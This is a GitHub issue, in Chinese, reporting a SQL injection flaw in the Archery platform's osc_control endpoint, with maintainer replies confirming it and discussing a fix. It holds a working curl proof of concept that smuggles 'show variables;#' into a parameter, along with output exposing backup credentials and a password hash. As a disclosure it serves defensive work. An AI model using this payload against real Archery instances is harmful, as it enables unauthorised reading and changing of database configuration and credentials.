Archery icon indicating copy to clipboard operation
Archery copied to clipboard

[ bug ]osc_control接口存在sql注入风险

Open viccctor opened this issue 3 years ago • 1 comments

重现步骤

  1. 获得任意一个账号(最低权限即可),登陆后获得sessionid

  2. 使用postman访问接口/inception/osc_control/(该接口未做权限控制),post body为workflow_id=1&sqlsha1=&command=get

  3. 将command参数设置为show variables;#(代码中未对command和sqlsha1参数做校验),即command及sqlsha1参数存在SQL注入,导致低权限用户可获取或修改各种variables(甚至修改备份数据库地址和账号密码)

  4. 或者直接curl命令访问,只需替换其中的url及sessionid

curl "http://127.0.0.1/inception/osc_control/" \
-XPOST -s -d "workflow_id=1&sqlsha1=&command=show variables;#" \
-H "Cookie: csrftoken=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; sessionid=zi8lb58sojs0mkoc76mjayfaocxuvhmx" \
-H "X-CSRFToken: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

预期外的结果

curl "http://127.0.0.1/inception/osc_control/" \
-XPOST -s -H "Cookie: csrftoken=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; sessionid=zi8lb58sojs0mkoc76mjayfaocxuvhmx" \
-H "X-CSRFToken: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
-d "workflow_id=1&sqlsha1=&command=show variables;#"

{"total": 155, "rows": [{"Variable_name": "backup_host", "Value": "127.0.0.1"}, {"Variable_name": "backup_password", "Value": "*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9"}, {"Variable_name": "backup_port", "Value": "3306"}, {"Variable_name": "backup_user", "Value": "root"}, {"Variable_name": "check_autoincrement_datatype", "Value": "true"}, {"Variable_name": "check_autoincrement_init_value", "Value": "true"}, {"Variable_name": "check_autoincrement_name", "Value": "true"}...], "msg": null}

日志文本

No response

版本

1.8.5

部署方式

Docker

是否还有其他可以辅助定位问题的信息?比如数据库版本等

No response

viccctor avatar Aug 07 '22 10:08 viccctor

确实,代码在这里 https://github.com/hhyo/Archery/blob/6bb36f721481deaff1a29c29c26cd674d02620a3/sql/sql_workflow.py#L722

LeoQuote avatar Aug 07 '22 11:08 LeoQuote

都是字符串的参数,先使用escape_string处理,当然最好的方式是全部使用预编译传参,不过当前改动较大,暂时不考虑

hhyo avatar Sep 17 '22 09:09 hhyo